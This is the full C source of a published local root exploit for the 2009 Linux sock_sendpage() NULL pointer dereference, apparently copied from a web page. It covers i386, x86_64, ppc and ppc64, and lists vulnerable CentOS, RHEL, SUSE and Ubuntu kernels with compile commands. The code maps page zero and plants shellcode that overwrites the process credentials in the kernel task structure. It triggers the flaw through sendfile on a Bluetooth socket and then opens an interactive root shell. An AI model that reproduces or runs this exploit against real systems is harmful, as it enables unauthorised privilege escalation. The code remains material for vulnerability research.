|
/*
* Linux sock_sendpage() NULL pointer dereference
* Copyright 2009 Ramon de Carvalho Valle <ramon@risesecurity.org>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*
*/
/*
* This exploit was written to illustrate the exploitability of this
* vulnerability[1], discovered by Tavis Ormandy and Julien Tinnes, on ppc
* and ppc64.
*
* This exploit makes use of the SELinux and the mmap_min_addr problem to
* exploit this vulnerability on Red Hat Enterprise Linux 5.3 and CentOS 5.3.
* The problem, first noticed by Brad Spengler, was described by Red Hat in
* Red Hat Knowledgebase article: Security-Enhanced Linux (SELinux) policy and
* the mmap_min_addr protection[2].
*
* Support for i386 and x86_64 was added for completeness. For a more complete
* implementation, refer to Brad Spengler's exploit[3], which also implements
* the personality trick[4] published by Tavis Ormandy and Julien Tinnes.
*
* Linux kernel versions from 2.4.4 to 2.4.37.4, and from 2.6.0 to 2.6.30.4
* are vulnerable.
*
* This exploit was tested on:
*
* CentOS 5.3 (2.6.18-128.7.1.el5) is not vulnerable
* CentOS 5.3 (2.6.18-128.4.1.el5)
* CentOS 5.3 (2.6.18-128.2.1.el5)
* CentOS 5.3 (2.6.18-128.1.16.el5)
* CentOS 5.3 (2.6.18-128.1.14.el5)
* CentOS 5.3 (2.6.18-128.1.10.el5)
* CentOS 5.3 (2.6.18-128.1.6.el5)
* CentOS 5.3 (2.6.18-128.1.1.el5)
* CentOS 5.3 (2.6.18-128.el5)
* CentOS 4.8 (2.6.9-89.0.9.EL) is not vulnerable
* CentOS 4.8 (2.6.9-89.0.7.EL)
* CentOS 4.8 (2.6.9-89.0.3.EL)
* CentOS 4.8 (2.6.9-89.EL)
* Red Hat Enterprise Linux 5.3 (2.6.18-128.7.1.el5) is not vulnerable
* Red Hat Enterprise Linux 5.3 (2.6.18-128.4.1.el5)
* Red Hat Enterprise Linux 5.3 (2.6.18-128.2.1.el5)
* Red Hat Enterprise Linux 5.3 (2.6.18-128.1.16.el5)
* Red Hat Enterprise Linux 5.3 (2.6.18-128.1.14.el5)
* Red Hat Enterprise Linux 5.3 (2.6.18-128.1.10.el5)
* Red Hat Enterprise Linux 5.3 (2.6.18-128.1.6.el5)
* Red Hat Enterprise Linux 5.3 (2.6.18-128.1.1.el5)
* Red Hat Enterprise Linux 5.3 (2.6.18-128.el5)
* Red Hat Enterprise Linux 4.8 (2.6.9-89.0.9.EL) is not vulnerable
* Red Hat Enterprise Linux 4.8 (2.6.9-89.0.7.EL)
* Red Hat Enterprise Linux 4.8 (2.6.9-89.0.3.EL)
* Red Hat Enterprise Linux 4.8 (2.6.9-89.EL)
* SUSE Linux Enterprise Server 11 (2.6.27.19-5)
* SUSE Linux Enterprise Server 10 SP2 (2.6.16.60-0.21)
* Ubuntu 8.10 (2.6.27-14) is not vulnerable
* Ubuntu 8.10 (2.6.27-11)
* Ubuntu 8.10 (2.6.27-9)
* Ubuntu 8.10 (2.6.27-7)
*
* For i386 and ppc, compile with the following command:
* gcc -Wall -o linux-sendpage linux-sendpage.c
*
* And for x86_64 and ppc64:
* gcc -Wall -m64 -o linux-sendpage linux-sendpage.c
*
* [1] http://blog.cr0.org/2009/08/linux-null-pointer-dereference-due-to.html
* [2] http://kbase.redhat.com/faq/docs/DOC-18042
* [3] http://www.grsecurity.net/~spender/wunderbar_emporium2.tgz
* [4] http://blog.cr0.org/2009/06/bypassing-linux-null-pointer.html
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/sendfile.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#if !defined(__always_inline)
#define __always_inline inline __attribute__((always_inline))
#endif
#if defined(__i386__) || defined(__x86_64__)
#if defined(__LP64__)
static __always_inline unsigned long
current_stack_pointer(void)
{
unsigned long sp;
asm volatile ("movq %%rsp,%0; " : "=r" (sp));
return sp;
}
#else
static __always_inline unsigned long
current_stack_pointer(void)
{
unsigned long sp;
asm volatile ("movl %%esp,%0" : "=r" (sp));
return sp;
}
#endif
#elif defined(__powerpc__) || defined(__powerpc64__)
static __always_inline unsigned long
current_stack_pointer(void)
{
unsigned long sp;
asm volatile ("mr %0,%%r1; " : "=r" (sp));
return sp;
}
#endif
#if defined(__i386__) || defined(__x86_64__)
#if defined(__LP64__)
static __always_inline unsigned long
current_task_struct(void)
{
unsigned long task_struct;
asm volatile ("movq %%gs:(0),%0; " : "=r" (task_struct));
return task_struct;
}
#else
#define TASK_RUNNING 0
static __always_inline unsigned long
current_task_struct(void)
{
unsigned long task_struct, thread_info;
thread_info = current_stack_pointer() & ~(4096 - 1);
if (*(unsigned long *)thread_info >= 0xc0000000) {
task_struct = *(unsigned long *)thread_info;
/*
* The TASK_RUNNING is the only possible state for a process executing
* in user-space.
*/
if (*(unsigned long *)task_struct == TASK_RUNNING)
return task_struct;
}
/*
* Prior to the 2.6 kernel series, the task_struct was stored at the end
* of the kernel stack.
*/
task_struct = current_stack_pointer() & ~(8192 - 1);
if (*(unsigned long *)task_struct == TASK_RUNNING)
return task_struct;
thread_info = task_struct;
task_struct = *(unsigned long *)thread_info;
if (*(unsigned long *)task_struct == TASK_RUNNING)
return task_struct;
return -1;
}
#endif
#elif defined(__powerpc__) || defined(__powerpc64__)
#define TASK_RUNNING 0
static __always_inline unsigned long
current_task_struct(void)
{
unsigned long task_struct, thread_info;
#if defined(__LP64__)
task_struct = current_stack_pointer() & ~(16384 - 1);
#else
task_struct = current_stack_pointer() & ~(8192 - 1);
#endif
if (*(unsigned long *)task_struct == TASK_RUNNING)
return task_struct;
thread_info = task_struct;
task_struct = *(unsigned long *)thread_info;
if (*(unsigned long *)task_struct == TASK_RUNNING)
return task_struct;
return -1;
}
#endif
#if defined(__i386__) || defined(__x86_64__)
static unsigned long uid, gid;
static int
change_cred(void)
{
unsigned int *task_struct;
task_struct = (unsigned int *)current_task_struct();
while (task_struct) {
if (task_struct[0] == uid && task_struct[1] == uid &&
task_struct[2] == uid && task_struct[3] == uid &&
task_struct[4] == gid && task_struct[5] == gid &&
task_struct[6] == gid && task_struct[7] == gid) {
task_struct[0] = task_struct[1] =
task_struct[2] = task_struct[3] =
task_struct[4] = task_struct[5] =
task_struct[6] = task_struct[7] = 0;
break;
}
task_struct++;
}
return -1;
}
#elif defined(__powerpc__) || defined(__powerpc64__)
static int
change_cred(void)
{
unsigned int *task_struct;
task_struct = (unsigned int *)current_task_struct();
while (task_struct) {
if (!task_struct[0]) {
task_struct++;
continue;
}
if (task_struct[0] == task_struct[1] &&
task_struct[0] == task_struct[2] &&
task_struct[0] == task_struct[3] &&
task_struct[4] == task_struct[5] &&
task_struct[4] == task_struct[6] &&
task_struct[4] == task_struct[7]) {
task_struct[0] = task_struct[1] =
task_struct[2] = task_struct[3] =
task_struct[4] = task_struct[5] =
task_struct[6] = task_struct[7] = 0;
break;
}
task_struct++;
}
return -1;
}
#endif
#define PAGE_SIZE getpagesize()
int
main(void)
{
char *addr;
int out_fd, in_fd;
char template[] = "/tmp/tmp.XXXXXX";
#if defined(__i386__) || defined(__x86_64__)
uid = getuid(), gid = getgid();
#endif
if ((addr = mmap(NULL, 0x1000, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_FIXED|
MAP_PRIVATE|MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) {
perror("mmap");
exit(EXIT_FAILURE);
}
#if defined(__i386__) || defined(__x86_64__)
#if defined(__LP64__)
addr[0] = '\xff';
addr[1] = '\x24';
addr[2] = '\x25';
*(unsigned long *)&addr[3] = 8;
*(unsigned long *)&addr[8] = (unsigned long)change_cred;
#else
addr[0] = '\xff';
addr[1] = '\x25';
*(unsigned long *)&addr[2] = 8;
*(unsigned long *)&addr[8] = (unsigned long)change_cred;
#endif
#elif defined(__powerpc__) || defined(__powerpc64__)
#if defined(__LP64__)
/*
* The use of function descriptors by the Power 64-bit ELF ABI requires
* the use of a fake function descriptor.
*/
*(unsigned long *)&addr[0] = *(unsigned long *)change_cred;
#else
addr[0] = '\x3f';
addr[1] = '\xe0';
*(unsigned short *)&addr[2] = (unsigned short)change_cred>>16;
addr[4] = '\x63';
addr[5] = '\xff';
*(unsigned short *)&addr[6] = (unsigned short)change_cred;
addr[8] = '\x7f';
addr[9] = '\xe9';
addr[10] = '\x03';
addr[11] = '\xa6';
addr[12] = '\x4e';
addr[13] = '\x80';
addr[14] = '\x04';
addr[15] = '\x20';
#endif
#endif
if ((out_fd = socket(PF_BLUETOOTH, SOCK_DGRAM, 0)) == -1) {
perror("socket");
exit(EXIT_FAILURE);
}
if ((in_fd = mkstemp(template)) == -1) {
perror("mkstemp");
exit(EXIT_FAILURE);
}
if(unlink(template) == -1) {
perror("unlink");
exit(EXIT_FAILURE);
}
if (ftruncate(in_fd, PAGE_SIZE) == -1) {
perror("ftruncate");
exit(EXIT_FAILURE);
}
sendfile(out_fd, in_fd, NULL, PAGE_SIZE);
execl("/bin/sh", "sh", "-i", NULL);
exit(EXIT_SUCCESS);
}
|
推荐
评论(0条)
